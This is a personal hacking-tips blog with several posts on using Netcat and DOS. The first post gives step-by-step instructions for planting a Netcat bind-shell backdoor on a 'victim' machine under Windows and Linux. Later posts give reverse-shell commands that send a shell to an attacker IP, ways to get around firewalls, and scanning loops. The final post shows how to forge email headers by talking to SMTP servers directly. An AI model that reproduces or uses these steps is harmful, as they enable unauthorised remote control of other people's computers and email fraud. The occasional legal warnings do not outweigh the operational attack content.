Netcat: PC Tips by Anu

Showing posts with label Netcat. Show all posts

Friday, August 20, 2010

Windows/UNIX/LINUX : Backdoor with Netcat

Friday, August 20, 2010

Anu

In this post I will show or guide you the basic STEPS for BACKDOOR'ing (hacking) via NETCAT in many Microsoft Flavour as well as in UNIX/LINUX......

DOWNLOAD NETCAT FOR WINDOWS

DOWNLOAD NETCAT FOR LINUX/UNIX

1. The Problem

Here's what this whole guide is about: getting the backdoorto

work on more than just Windows NT/2000/XP.When I first sawthe guide on breaking into NT, I hurried up and viewed it. I began reading andit said something like, "This also works with 2000 and XP!" I thoughtto myself, "Now that's not right! What about

Windows 95/98/ME and Unix!" So I began reading on onhow the backdoor worked and saw how it worked in order to set off toward mygoal of a multi-operating-system backdoor.

2. How the Backdoor Works - On Windows NT/2000/XP

For the backdoor, you'll need netcat for Windows (meansyou'll need a windows box, too) which you can get from HERE).

You should also know how tomake batch files, which you can learn on MY BLOG.

MS-DOS
1) MS-DOS COMMANDS and SCRIPTS
2) MS-DOS FAKE HACK SCRIPT

3) MS-DOS IP and PORT INFO USING NETSTAT
4) MS-DOS - (SCRIPT) VIRUS MAKER
5) MS-DOS NETBIOS
6) MS-DOS - (SCRIPT) YOUR PERSONAL WEB BROWSER
7) MS-DOS - (SCRIPT) MAKE A MALWARE
8) MS-DOS - (SCRIPT) YOUR PC CAN SPEAK
9) MS-DOS - (SCRIPT) WORM-GenCultivee-V3

LINUX
1) LINUX - BASH SHELL SCRIPTING
2) LINUX/UBUNTU - (SCRIPT) SAMBA GROUP ADD

DOS VS LINUX

First, get the netcat executable file (nc.exe) onto thetarget's

c:\windows\system32 directory. Then make a batch file withthe following command in it:

nc -L -d -p -t -e cmd.exe

Here's what that command does:

nc - tells Windows to run the nc.exe file with the followingarguments:

-L Tells netcat to not close and wait for connections

-d Tells netcat not to open a Window when running

-p Specifies a port to listen for a connection on

-t Tells netcat to accept telnet connections

-e Tells what program to run once the port is connected to

Put the batch file in the c:\windows\system32 directory alsoand run it.

Once that batch file is run, you can telnet or use netcat inclient mode to connect to it. Here's how to use netcat to connect to it:

In a DOS prompt, give the command

C:\WINDOWS\> nc -v

Once you connected to that port on the victim's computer,you'll have a DOS prompt that you can give any command on the victim'scomputer.

The backdoor will close whenever the victim shuts down their

computer. To get it running again, just run the batch file.

3. Getting the Backdoor to Work on Windows 95/98/ME

After reading, I thought to myself, "Now why can't Iget that to

work on 95/98/ME? Hmm... let's see here..."

Then Ithought about how the commands worked and came up with a solution.

First, put the nc.exe file in the c:\windows directory.

Why?

Explain later. Put the batch file there, too, but change thebatch file

to:

nc -L -d -p  -t -e command.com

There ya go - it'll work on 95/98/ME. Here's why:

First off, you don't need to put the files in the system32directory because 95/98/ME doesn't use execute paths like NT does. If youwouldn't have put the files in System32 directory on NT, the program wouldn'thave executed the batch file because it wouldn't have been in the file path -but you don't have to worry about that in 95/98/ME. The reason why we put thefiles in the c:\windows directory on 95/98/Me is because that's where thecommand.com file is - the MS-DOS Prompt file. (It's cmd.exe on NT/2000/XP.)That's why we ran command.com instead of cmd.exe.

4. Getting the Backdoor to Work on Unix/Linux

Ok, first off, get the unix version of netcat onto thetarget system.

DOWNLOAD LINUX/UNIX VERSION OF NETCAT

Now, simply execute the following command on the followingsystem:

nc -nvv -l -p -e /bin/sh 

For best results, put that command in a shell script. Also,a good idea is to run the command on more than one port to connect to, and toexecute this command to ports like mail services (port 25) and web services(port 80).

How does this work? Let's examine:

-nvv I'm not exactly sure what this does. Further researchis required...

-l stay open and listen

-p what port to listen to

-e /bin/sh spawns a shell. Or could use bash, tcsh, ksh etc.instead of sh for the shell of your choice.

So, let's see what we've learned overall:

DOWNLOAD NETCAT FOR WINDOWS

DOWNLOAD NETCAT FOR LINUX/UNIX

Netcat is a usefull hackers tool that can set up backdoors.That says it all.

Thanks for reading!

Thursday, July 15, 2010

Linux | Win : Netcat and Reverse Telnet

Thursday, July 15, 2010

Anu

http://events.hummingbird.com/summit/2005/images/netcat.gif

Today we live a virtually secure world of computing, with fancy firewalls, user access lists, intrusion detection schemes, and so on. But occasionally you may just want to copy a file from one computer to another, without breaching security, ringing bells all over the network, or even meddling with cumbersome access lists. You may want to reach your work computer from home, so that you can finish your work, but the guardian firewall would not let you in.
Or you may just want to write your simple network utility to fetch something from somewhere and do something to it, the famous duct-tape method. You don't want to use C++. You don't want to use Perl. You want nothing but the good old glue and fix method.
For all these seemingly difficult tasks there is a wonderful tool called Netcat.
As you'd expect, the name Netcat comes from one of the basic Unix commands cat. cat "concatenates files and prints on standard output", Netcat basically does the same. Instead of concatenating files, Netcat concatenates the TCP and UDP sockets, making it basically a "cat of ports". Just like its ancestors, the fundamental commands of the Unix
environment, Netcat does this one thing and does it perfectly. You can glue it to other commands to make it do whatever you want.
This article examines the basic usage of Netcat, including one or two tricks that will make your life easier.

What can I use Netcat for?

As a basic point of view, Netcat is a telnet program. But that's like calling the Swiss Army Knife just a knife. Netcat was written in 1996 by a hacker called Hobbit to meet all kinds of telnet needs. Today you can easily find a version of Netcat for your flavor of Unix or even Windows.
This article sticks to the vanilla Netcat. The examples are prepared with Linux in mind. You can try them on other platforms, but your computer could blowup, your significant other might leave you, and, even worse, you will run out of coffee at once. Well, maybe just the latter.

Preparing Network Interfaces

To try Netcat, we must first make some preparations. Throughout this article we will discuss a connection between two machines. For this article you don't need to have two machines, two computers, or even two network interfaces.
For TCP/IP communication, the Unix platform uses a virtual loopback (lo) interface with a default IP of 127.0.0.1. Under Linux, you can use 0 instead of this IP address. We will use this interface to set up two virtual interfaces.
Note that if we interfere with the 127.0.0.1 interface, we may break the network connection. Instead, we will use lo:1 and lo:2 virtual interfaces. The following method will allow you to assign many IP numbers to the same network interface, such as eth0:0 or eth0:1. As root, enter:

% ifconfig lo:1 10.0.1.1
% ifconfig lo:2 10.0.1.2

Now enter ifconfig to examine your interfaces:

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:146 errors:0 dropped:0 overruns:0 frame:0
TX packets:146 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:7708 (7.5 KiB) TX bytes:7708 (7.5 KiB)
lo:1 Link encap:Local Loopback
inet addr:10.0.1.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
lo:2 Link encap:Local Loopback
inet addr:10.0.1.2 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1

Now that we have two network interfaces, we can continue with our examples as if we were working on two separate computers with different IP addresses.

Network Connection:

As I've stated before, Netcat is a telnet client. With the basic usage you can connect to any port with nc host port. When you make a connection this way, everything you type goes to the remote machine (if it's listening to that port) and every response comes back to you. This goes on until the network connection is broken. As for the remote computer, I must remind you that Netcat is both a client and a server.
Now, let's open two consoles. One will be our server, listening to port 5600:

$ nc -l -p 5600

The other will be our client that connects to that port.

$ nc 10.0.1.1 5600

Now everything you do will be repeated at the first console. We have made our first connection. Experiment to your heart's content. Press Enter, Backspace, Ctrl-D, and Ctrl-C and see what happens. Ctrl-C should have cut your connection.
At the first console give the command:

$ nc -l -p 5600 -vv

In the second:

$ nc 10.0.1.1 5600

Did you see anything different?

listening on [any] 5600 ...
10.0.1.1: inverse host lookup failed: Unknown host
connect to [10.0.1.1] from (UNKNOWN) [10.0.1.1] 33354

This time, Netcat was generous with its information. The extra -vv command option put Netcat in verbose mode. If you use one v then you end up with less information. This command is especially valuable when troubleshooting. At the end, when you pressed Ctrl-c, Netcat exited, reporting how many bytes were sent and received.
As in our first example we made connection between two virtual computers without protocol or rights management (as far as the firewalls let us).

File Transfer

One of the most practical usages of this network connection is the file transfer. As a basic Netcat function, this feature may be used to great effect in the hands of an experienced user. For a freshly installed computer, setting up a ftp server or, worse, meddling with rcp or scp protocols may be nauseating. Those commands may not be available for one, and multiple layers of control mechanisms may interfere with their functionality. You can still transfer files with just one nc command.
At the server console:

$ nc -v -w 30 -p 5600 l- > filename.back

and on the client side:

$ nc -v -w 2 10.0.1.1 5600 < filename

Magically, the file named filename is transfered from the client to the server. You can check that they are identical.
The command line uses the new argument -w to cause Netcat to wait for a few seconds. We made that longer in the server side because it is most affected by a pause. Another important point is the > and < redirection commands, with which Unix users are very familiar.
In the server we said > filename.back. Any output will be directed to this file. As it happens, the output is the file filename which is send by the client. Think of this as a pipeline. We take a bucket (file), pour the contents to the pipeline (Netcat's port), and, at the other end we fill another bucket from the pipeline.

Telnet

We can now transfer files, but maybe we want to make something more useful. For example, we might want to login to a remote machine and do some work. We want to telnet without the hassle of working through access control mechanisms. The -e option comes in handy.
On the first console, enter:

$ nc -l -p 5600 -e /bin/bash

and at the second console:

$ nc 10.0.1.1. 5600

Now it is as if we are connected to the first machine and typing at the shell. We can see every output of our command and do whatever we want with the server machine. We are connected to it as the root user. This is admittedly very scary and a bit unwise.

Security Notice

Dumping output to a shell is the fastest method of remote control. It opens a port and waits for connection. Whoever connects is welcome, with no security checks. Unlike the following Reverse Telnet this is an active connection; we can call it duck-tape telnet. If you must setup such a thing on an Internet-connected machine use Cryptcat. In fact you can use Cryptcat in every example mentioned here instead of Netcat, because they are almost the same (except that Cryptcat uses encryption and a keyphrase). But all the command notation is the same.

Reverse Telnet

As we have such a generic tool, capable of many things, we can try something nastier (and thus more useful). Consider a nice computer, with broadband network access, behind some firewall (as all useful computers are) in our office. The firewall will not allow any outside connections, only those queried from inside. This computer seems impossible to reach. To begin with, the computer would not have a real IP that we could just type and reach; it is behind a router and firewall, using their IPs instead.
Now what if we want to log into this computer and use it remotely, perhaps grabbing some files we forgot to bring home to work on tonight? We want all this with minimum security breach. Sounds like a challenge.
As we saw before, telnet worked with one machine waiting for a connection and the other connecting to it and giving commands. Telnet will not do the job here; not only are all ports of the corporate firewall blocked, the machine we want to reach does not even have a legal IP. Our technique should do just the reverse.
We have a server whose only allowed outside connection is port 80 for daily use, but it doesn't have an outside IP address. The other computer at home probably has a real IP and whatever ports you want are open at your request. Reversing the roles would solve our problems: make our computer at work connect to the home computer, taking commands from the client and performing them on the server. It's the reverse of usual telnet, so we call it Reverse Telnet.
First, let's name the machines. The one at work is called WORK and the one at home is called HOME. If we do not have a permanent IP at home (a dialup user usually) we should get a dynamic DNS name. Lots of organizations provide them, most at no charge such as dyndns.org. We do this because in order to connect to home computer we must know its IP (or domain name) beforehand.
At the work computer, we'll set up a cron job to start at 22:01. Just as in the telnet example it connects to myhome.dyndns.org (our dynamic DNS address) and starts bash.
And at home just at 22:00 or so we start:

$ nc -vv -l -p 80

to begin listening on port 80 for incoming connections.
At 22:01, WORK connects to HOME, starts bash and says 'Master!' Bingo. We are connected to WORK (or vice versa), and WORK is ready to operate any command we want.
We can try this at our virtual network (lo:1 and lo:2). To start the client listening for a connection:

$ nc -vv -l -p 80

To make a connection from the server:

$ nc 10.0.1.1 80 -e /bin/bash

It is very simple and efficient, because we only use outgoing port 80, the most widely used port because it is used for web access. No one would block port 80 because everyone needs web access. They can force you to use a local proxy for that, but you can use another port like 21 or 23 which are harder to put behind a proxy. If you have Internet access you should be able to find at least one open port.
Netcat has lots of other uses with which you can experiment through the loopback interface setup. As long as you know the TCP/IP machine and basics of the protocols, there is virtually no limit to what you can do with Netcat. In the future, I will describe some other daily (arcane ;) uses of Netcat, Cryptcat, and maybe their complicated and powerful cousin SoCat.

Please don't forget to leave a COMMENT.

Wednesday, June 2, 2010

Tutorial : Netcat

Wednesday, June 02, 2010

Anu

Netcat has a compile-time option that makes netcat execute a program for the connecting or listening process. This is useful for sending a shell to the attacker. Also note that the switches might be different on different platforms, ie. OpenBSD is lacking the -p switch.

To download the Unix/Win version of the tool, check the links below. The great thing about this tool is that it is free and still has many uses. This paper will not cover everything netcat can do, so just explore it's ways.

Unix: http://www.4shared.com/get/305121971/81e7c90c/nc110.html
Win: http://www.4shared.com/get/305124963/412c6953/nc11nt.html

Alternatives to netcat are listed below. Cryptcat encrypts traffic and could be useful to avoid detection, transfer sensitive forensics-data or for example encrypt the data while you do a penetration test against a customer over the Internet. SoCat is netcat on steroids, some like it, some don'thttp://farm9.com/content/Free_Tools/Cryptcat - Encrypted traffic with Blowfishhttp://www.dest-unreach.org/socat/ - Netcat with extended design & features

We also want to mention stunnel, as it can be used as standalone or in conjunction with netcat to check SSL-enabled services.http://www.stunnel.org/ - Useful if you need to do stuff with HTTPS

Ok, now that we are done with this, lets check some examples this can be used for. We start with some transferring of files and move on to portscanning, banner-grabbing and finally how to achieve an interactive shell, aka shoveling a shell.

Transferring files

When we want to send a file from a host to another with netcat, it is quite simple. We set up the receiving host to listen on a specific port and put all the data received into a file. We need to set a timeout so the listener notices when there is no more data coming and it can close gracefully.

-l = listens for incoming connections
-p = what port to listen on
-v = verbosity level, use twice for more information
-w = timeout
-n = dont resolve IPs

On the senders end we simply connect to the receivers listening port and give the file as input. The filetransfer goes smoothly as long as you remember to initiate the sending before the timeout.

Listener: nc -vvn -l -p 3000 -w 3 > file

Sender: nc -vvn xxx.xxx.xxx.xx 3000 <>

This however requires you to bind the spoofed IP to your interface, in Linux it can be done by typing 'ifconfig eth0:n spoofed_ip', where n is the next free alias. This will cause problems with the host you're spoofing, as you broadcast the same IP on the network. To perform similar stuff without causing that much problems, you could check out hping (http://www.hping.org).

Portscanning

It is also possible to do portscans with netcat with using the flag -z (zero I/O mode), that only connects and disconnects from a port. To perform a UDP-scan, you use the flag -u.

TCP: nc -vvn -z xxx.xxx.xxx.xxx start-end

UDP: nc -u -vvn -z xxx.xxx.xxx.xxx start-end

In the snippet below we attempt to scan TCP-ports 79 to 81 to find open ports on a target. As you can see, closed ports report "Connection refused" and open ports report "open". UDP scan output is basically the same.

Code:
:~$ nc -vvn -z 10.0.0.1 79-81
(UNKNOWN) [10.0.0.1] 81 (hosts2-ns) : Connection refused
(UNKNOWN) [10.0.0.1] 80 (http) open
(UNKNOWN) [10.0.0.1] 79 (finger) : Connection refused
sent 0, rcvd 0

Banner-grabbing

In banner-grabbing we send some specific strings to the target from a file and get in response, if any ports are open, the results will be outputted to your screen. In the example below we have included some basic for-loop for scanning multiple targets a time, for example machines we have found in our port-scan above.

Get.txt would contain head / http/1.0 and two returns, or just two returns and it would work on other ports too. Iplist.txt would contain IPs that you want to scan.

Win: for /f %1 in (iplist.txt) do nc -vvn %1 80 < Get.txt Unix: for f in `cat iplist.txt`; do nc $f 80 < Get.txt; done; Code: :~$ for f in `cat iplist.txt`; do nc $f 80 < get.txt; done (UNKNOWN) [10.0.0.2] 80 (http) : Connection refused HTTP/1.0 200 OK Server: Microsoft IIS/5.0 Content-Type: text/html; charset=iso-8859-1 Date: Thu, 29 May 2003 09:35:08 GMT Last-Modified: Sun, 18 May 2003 11:51:07 GMT Accept-Ranges: bytes Connection: close Content-Length: 13640 By now you probably have realized that you might actually also be able to send an exploit against the target by using netcat.. When HTTPS is involved, you might want to look into stunnel by tunneling nc through it or just using stunnel itself: (echo "HEAD / HTTP/1.0"; echo; ) | /usr/sbin/stunnel -c -r host:port Shell Shoveling - TCP This is probably the part that some have been waiting for, shell shoveling. We assume that you have managed to upload netcat to the target in some way, wether it has happened through a vulnerable web-application or whatever. We also assume you are able to issue commands on the target (how else could you use your netcat that is sitting there?). If there is no firewall protecting the target, or there is a misconfiguration in the firewall (ie. allowing tcp/53 to all hosts), the attacker could put up a nc-listener that shovels back an interactive shell the following way assuming -e flag has been compiled in the binary): On the target: nc -l -p port -e shell (shell can be /bin/sh or cmd.exe for example) From the attacker: nc target_ip port In the example below, the attacker connects to the listening netcat and starts issuing commands. As you see, the answers from the target comes directly and the output might be a bit hard to read in sense of where command begins and where output ends. Code: :~$ nc -vvn 10.0.0.1 3000 Connection to 10.0.0.1 3000 port [tcp/*] succeeded! id uid=1000(nobody) gid=1000(nogroup) ls vulnerable.cgi nc cd .. ls cgi-bin index.html mega_secret_document If there is however a firewall in place that stops the attacker from connecting to a specific *free* port on the target-system, they could try to get the target to connect back to them. This is possible only if the firewall allows certain outgoing connections: On the attacker: nc -l -p port From the target: nc -e /bin/sh attacker_ip port In the case where nc has not been compiled with the -e option, there is still ways to shovel back a shell to the attacker. By piping stdin to another listener and stdout to another, the attacker gets one console for issuing commands and one console for the results: On the attacker: nc -l -p port1 nc -l -p port2 From the target: nc attacker_ip port1 | /bin/sh | nc attacker_ip port2 Shell Shoveling - UDP In the case where TCP is restricted, one has to check for possible UDP avenues. UDP however is unreliable, but it can work, and allows spoofing if there is need for it. After testing it, we concluded that it has to be used in the two console way. It wasn't working without echoing an initial character: On the attacker: nc -l -u -p port1 nc -l -u -p port2 From the target: echo "" | nc -u attacker_ip port1 | /bin/sh | nc -u attacker_ip port2 This way however means that there is two udp-ports available. There is another way where one port is enough. This usually means port 53 as it could be wrongly configured at the firewall level, allowing it both ways: On attacker: nc -l -u -p 53 On target: nc -u -l -p 53 | /bin/sh | nc -u attacker_ip 53 From attacker: cat | nc -u target_ip 53 By using this way, the attacker has again a command console and an output console available. One should remember that if using ports under 1024, there must be access equivalent to system/root/administrator available. UDP method would not work behind a NATted environment. End notes As an end note, we like to say that use your own imagination. Netcat is not called the Swiss Army Knife of networking tools for nothing. This post is not written by me. I just found it on net while browsing and hence added it here for my readers.

Saturday, October 24, 2009

Hack Win XP via Win XP

Saturday, October 24, 2009

Anu

So you have the newest, glitziest, "Fisher Price" version of Windows: XP. How can you use XP in a way that sets you apart from the boring millions of ordinary users?

The key to doing amazing things with XP is as simple as D O S. Yes, that's right, DOS as in MS-DOS, as in MicroSoft Disk Operating System. Windows XP (as well as NT and 2000) comes with two versions of DOS. Command.com is an old DOS version. Various versions of command.com come with Windows 95, 98, SE, ME, Window 3, and DOS only operating systems.
The other DOS, which comes only with XP, 2000 and NT, is cmd.exe. Usually cmd.exe is better than command.com because it is easier to use, has more commands, and in some ways resembles the bash shell in Linux and other Unix-type operating systems. For example, you can repeat a command by using the up arrow until you back up to the desired command. Unlike bash, however, your DOS command history is erased whenever you shut down cmd.exe. The reason XP has both versions of DOS is that sometimes a program that won?t run right in cmd.exe will work in command.com

note : m not comparing bash to dos

DOS is your number one Windows gateway to the Internet, and the open sesame to local area networks. From DOS, without needing to download a single hacker program, you can do amazingly sophisticated explorations and even break into poorly defended computers.

You can go to jail warning: Breaking into computers is against the law if you do not have permission to do so from the owner of that computer. For example, if your friend gives you permission to break into her Hotmail account, that won't protect you because Microsoft owns Hotmail and they will never give you permission.

You can get expelled warning: Some kids have been kicked out of school just for bringing up a DOS prompt on a computer. Be sure to get a teacher's WRITTEN permission before demonstrating that you can hack on a school computer.

So how do you turn on DOS?
Click All Programs -> Accessories -> Command Prompt
That runs cmd.exe. You should see a black screen with white text on it, saying something like this:

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\>

Your first step is to find out what commands you can run in DOS. If you type "help" at the DOS prompt, it gives you a long list of commands. However, this list leaves out all the commands hackers love to use. Here are some of those left out hacker commands.

TCP/IP commands:
telnet
netstat
nslookup
tracert
ping
ftp

NetBIOS commands (just some examples):
nbtstat
net use
net view
net localgroup

TCP/IP stands for transmission control protocol/Internet protocol. As you can guess by the name, TCP/IP is the protocol under which the Internet runs. along with user datagram protocol (UDP). So when you are connected to the Internet, you can try these commands against other Internet computers. Most local area networks also use TCP/IP.

NetBIOS (Net Basic Input/Output System) protocol is another way to communicate
between computers. This is often used by Windows computers, and by Unix/Linux type computers running Samba. You can often use NetBIOS commands over the Internet (being carried inside of, so to speak, TCP/IP). In many cases, however, NetBIOS commands will be blocked by firewalls. Also, not many Internet computers run NetBIOS because it is so easy to break in using them. I will cover NetBIOS commands in the next article to XP Hacking.

The queen of hacker commands is telnet. To get Windows help for telnet, in the
cmd.exe window give the command:

C:\>telnet /?

Here's what you will get:

telnet [-a][-e escape char][-f log file][-l user][-t term][host [port]]

-a - Attempt automatic logon. Same as --l option except uses the currently logged
on user's name.
-e - Escape character to enter telnet cclient prompt.
-f - File name for client side logging
-l - Specifies the user name to log in with on the remote system. Requires that the remote system support the TELNET ENVIRON option.
-t - Specifies terminal type. Supportedd term types are vt100, vt52, ansi and vtnt only.

host Specifies the hostname or IP address of the remote computer to connect to.
port Specifies a port number or service name.

Newbie note: what is a port on a computer? A computer port is sort of like a seaport. It's where things can go in and/or out of a computer. Some ports are easy to understand, like keyboard, monitor, printer and modem. Other ports are virtual, meaning that they are created by software. When that modem port of yours (or LAN or ISDN or DSL) is connected to the Internet, your computer has the ability to open or close any of over 65,000 different virtual ports, and has
the ability to connect to any of these on another computer - if it is running that port, and if a firewall doesn?t block it.

Newbie note: How do you address a computer over the Internet? There are two
ways: by number or by name.
The simplest use of telnet is to log into a remote computer. Give the command:

C:/>telnet targetcomputer.com

(substituting the name of the computer you want to telnet into for targetcomputer.com)

If this computer is set up to let people log into accounts, you may get the message:

login:

Type your user name here, making sure to be exact. You can't swap between lower case and capital letters. For example, user name Guest is not the same as guest.

Newbie note: Lots of people email me asking how to learn what their user name and password are. Stop laughing, darn it, they really do. If you don't know your user name and password, that means whoever runs that computer didn't give you an account and doesn't want you to log on.

Then comes the message:

Password:

Again, be exact in typing in your password.

What if this doesn't work?
Every day people write to me complaining they can't telnet. That is usually because they try to telnet into a computer, or a port on a computer that is set up to refuse telnet connections.

Here's what it might look like when a computer refuses a telnet connection:

C:\ >telnet 10.0.0.3

Connecting To 10.0.0.3...

Could not open connection to the host, on port 23. A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.

Or you might see:

C:\ >telnet hotmail.com

Connecting To hotmail.com...

Could not open connection to the host, on port 23. No connection could be made because the target machine actively refused it.

If you just give the telnet command without giving a port number, it will automatically try to connect on port 23, which sometimes runs a telnet server.

Newbie note: your Windows computer has a telnet client program, meaning it will let you telnet out of it. However you have to install a telnet server before anyone can telnet into port 23 on your computer.

If telnet failed to connect, possibly the computer you were trying to telnet into was down or just plain no longer in existence. Maybe the people who run that computer don't want you to telnet into it.

Even though you can't telnet into an account inside some computer, often you can get some

information back or get that computer to do something interesting for you. Yes, you can get a

telnet connection to succeed -without doing anything illegal --against almost any computer, even

if you don't have permission to log in. There are many legal things you can do to many randomly

chosen computers with telnet. For example:

C:/telnet freeshell.org 22

SSH-1.99-OpenSSH_3.4p1

That tells us the target computer is running an SSH server, which enables encrypted connections between computers. If you want to SSH into an account there, you can get a shell account for free at http://freeshell.org . You can get a free SSH client program from http://winfiles.com .

You can get punched in the nose warning: Your online provider might kick you off for making telnet probes of other computers. The solution is to get a local online provider and make friends with the people who run it, and convince them you are just doing harmless, legal

explorations.
Sometimes a port is running an interesting program, but a firewall won't let you in. For example, 10.0.0.3, a computer on my local area network, runs an email sending program, (sendmail working together with Postfix, and using Kmail to compose emails). I can use it from an account inside 10.0.0.3 to send emails with headers that hide from where I send things.
If I try to telnet to this email program from outside this computer, here's what
happens:

C:\>telnet 10.0.0.3 25
Connecting To 10.0.0.3...Could not open connection to the host, on port 25. No connection could be made because the target machine actively refused it.

However, if I log into an account on 10.0.0.3 and then telnet from inside to port 25, here's what I get:

Last login: Fri Oct 18 13:56:58 2002 from 10.0.0.1
Have a lot of fun...
cmeinel@test-box:~> telnet localhost 25
Trying ::1...
telnet: connect to address ::1: Connection refused
Trying 127.0.0.1... [Carolyn's note: 127.0.0.1 is the numerical address meaning
localhost, the same computer you are logged into]
Connected to localhost.
Escape character is '^]'.
220 test-box.local ESMTP Postfix

The reason I keep this port 25 hidden behind a firewall is to keep people from using it to try to break in or to forge email. Now the ubergeniuses reading this will start to make fun of me because no Internet address that begins with 10. is reachable from the Internet. However, sometimes I place this "test-box" computer online with a static Internet address, meaning whenever it is on the Internet, it always has the same numerical address. I'm not going to tell you what its Internet address is because I don't want anyone messing with it. I just want to mess with other people's computers with it, muhahaha.

Newbie note: What is all this about headers? It's stuff at the beginning of an email that may - or may not - tell you a lot about where it came from and when. To see full headers, in Outlook click view -> full headers. In Eudora, click the "Blah blah blah" icon.

Want a computer you can telnet into and mess around with, and not get into trouble no matter what you do to it? I've set up techbroker.com (206.61.52.33) with user xyz, password guest for you to play with. Here's how to forge email to xyz@techbroker.com using telnet.

Start with the command:

C:\>telnet techbroker.com 25
Connecting To Techbroker.com

220 Service ready

Now you type in who you want the message to appear to come from:

helo santa@techbroker.com

Techbroker.com will answer:

250 host ready

Next type in your mail from address:

mail from:santa@techbroker.com

250 Requested mail action okay, completed

Your next command:

rcpt to:xyz@techbroker.com
250 Requested mail action okay, completed

Your next command:

data
354 Start main input; end with .

just means hit return. In case you can't see that little period between the s, what you do to end composing your email is to hit enter, type a period, then hit enter again. Anyhow, try typing:

This is a test.
.
250 Requested mail action okay, completed
quit
221 Service closing transmission channel

Connection to host lost.

Using techbroker's mail server, even if you enable full headers, the message we just composed looks like:

Status: R
X-status: N

This is a test.

That's a pretty pathetic forged email, huh? No "from", no date. However, you can make your headers better by using a trick with the data command. After you give it, you can insert as many headers as you choose. The trick is easier to show than explain:

220 Service ready
helo santa@northpole.org
250 host ready
mail from:santa@northpole.com
250 Requested mail action okay, completed
rcpt to:cmeinel@techbroker.com
250 Requested mail action okay, completed
data
354 Start main input; end with .
from:santa@deer.northpole.org
Date: Mon, 21 Oct 2002 10:09:16 -0500
Subject: Rudolf
This is a Santa test.
.
250 Requested mail action okay, completed
quit
221 Service closing transmission channel

Connection to host lost.

The message then looks like:

from:santa@deer.northpole.org
Date: Mon, 21 Oct 2002 10:09:16 -0500
Subject: Rudolf
This is a Santa test.

The trick is to start each line you want in the headers with one word followed by a colon, and the a line followed by "return". As soon as you write a line that doesn't begin this way, the rest of what you type goes into the body of the email.

Notice that the santa@northpole.com from the "mail from:" command didn't show up
in the header. Some mail servers would show both "from" addresses.
You can forge email on techbroker.com within one strict limitation. Your email has to go to

someone at techbroker.com. If you can find any way to send email to someone outside

techbroker, let us know, because you will have broken our security, muhahaha! Don't worry, you have our permission.

Next, you can read the email you forge on techbroker.com via telnet:

C:\>telnet techbroker.com 110

+OK <30961.5910984301@techbroker.com> service ready

Give this command:

user xyz
+OK user is known

Then type in this:

pass test
+OK mail drop has 2 message(s)

retr 1
+OK message follows
This is a test.

If you want to know all possible commands, give this command:

help
+OK help list follows
USER user
PASS password
STAT
LIST [message]
RETR message
DELE message
NOOP
RSET
QUIT
APOP user md5
TOP message lines
UIDL [message]
HELP

Unless you use a weird online provider like AOL, you can use these same tricks to send and receive your own email. Or you can forge email to a friend by telnetting to his or her online provider's email sending computer(s).

With most online providers you need to get the exact name of their email computer(s). Often it is simply mail.targetcomputer.com (substitute the name of the online provider for targetcomputer). If this doesn't work, you can find out the name of their email server with the DOS nslookup program, which only runs from cmd.exe. Here's an example:

C:\ >nslookup
Default Server: DNS1.wurld.net
Address: 206.61.52.11

>set q=mx

> dimensional.com

Server: DNS1.wurld.net
Address: 206.61.52.11

dimensional.com MX preference = 5, mail exchanger =mail.dimensional.com
dimensional.com MX preference = 10, mail exchanger =mx2.dimensional.com
dimensional.com MX preference = 20, mail exchanger = mx3.dimensional.com
dimensional.com nameserver = ns.dimensional.com
dimensional.com nameserver = ns-1.dimensional.com
dimensional.com nameserver = ns-2.dimensional.com
dimensional.com nameserver = ns-3.dimensional.com
dimensional.com nameserver = ns-4.dimensional.com
mail.dimensional.com internet address = 206.124.0.11
mx2.dimensional.com internet address = 206.124.0.30
mx3.dimensional.com internet address = 209.98.32.54
ns.dimensional.com internet address = 206.124.0.10
ns.dimensional.com internet address = 206.124.26.254
ns.dimensional.com internet address = 206.124.0.254
ns.dimensional.com internet address = 206.124.1.254
ns.dimensional.com internet address = 209.98.32.54
ns.dimensional.com internet address = 206.124.0.32
ns.dimensional.com internet address = 206.124.0.30
ns.dimensional.com internet address = 206.124.0.25
ns.dimensional.com internet address = 206.124.0.15
ns.dimensional.com internet address = 206.124.0.21
ns.dimensional.com internet address = 206.124.0.9
ns-1.dimensional.com internet address = 206.124.26.254
ns-2.dimensional.com internet address = 209.98.32.54
ns-3.dimensional.com internet address = 206.124.1.254
ns-4.dimensional.com internet address = 206.124.0.254
>

The lines that tell you what computers will let you forge email to people with @dimensional.com addresses are:

dimensional.com MX preference = 5, mail exchanger = mail.dimensional.com
dimensional.com MX preference = 10, mail exchanger = mx2.dimensional.com
dimensional.com MX preference = 20, mail exchanger =mx3.dimensional.com

MX stands for mail exchange. The lower the preference number, the more they would like you to use that address for email.If that lowest number server is too busy, then try another server.

Sometimes when you ask about a mail server, nslookup will give you this kind of error

message:

DNS request timed out.
timeout was 2 seconds.
DNS request timed out.
timeout was 2 seconds.
*** Request to [207.217.120.202] timed-out

To get around this problem, you need to find out what are the domain servers for your target online provider. A good place to start looking is http://netsol.com/cgi-bin/whois/whois . If this doesn't work, see http://happyhacker.org/HHA/fightback.shtml for how to find the domain servers for any Internet address.

Newbie note: A domain name server provides information on the names and numbers assigned to computers on the Internet. For example, dns1.wurld.net and dns2.wurld.net contain information on happyhacker.org, techbroker.com, securitynewsportal.com, thirdpig.com and sage-inc.com. When you query dns1.wurld.net about other computers, it might have to go hunting for that information from other name servers. That's why you might get a timed out failure.

Once you know the domain servers for an online service, set one of them for the server for your nslookup program. Here's how you do it:

C:\>nslookup
Default Server: DNS1.wurld.net
Address: 206.61.52.11

Now give the command:

>server 207.217.126.41
Default Server: ns1.earthlink.net
Address: 207.217.126.41

Next command should be:

>set q=mx
>earthlink.net
Server: ns1.earthlink.net
Address: 207.217.126.41

earthlink.net MX preference = 5, mail exchanger = mx04.earthlink.net
earthlink.net MX preference = 5, mail exchanger = mx05.earthlink.net
earthlink.net MX preference = 5, mail exchanger = mx06.earthlink.net
earthlink.net MX preference = 5, mail exchanger = mx00.earthlink.net
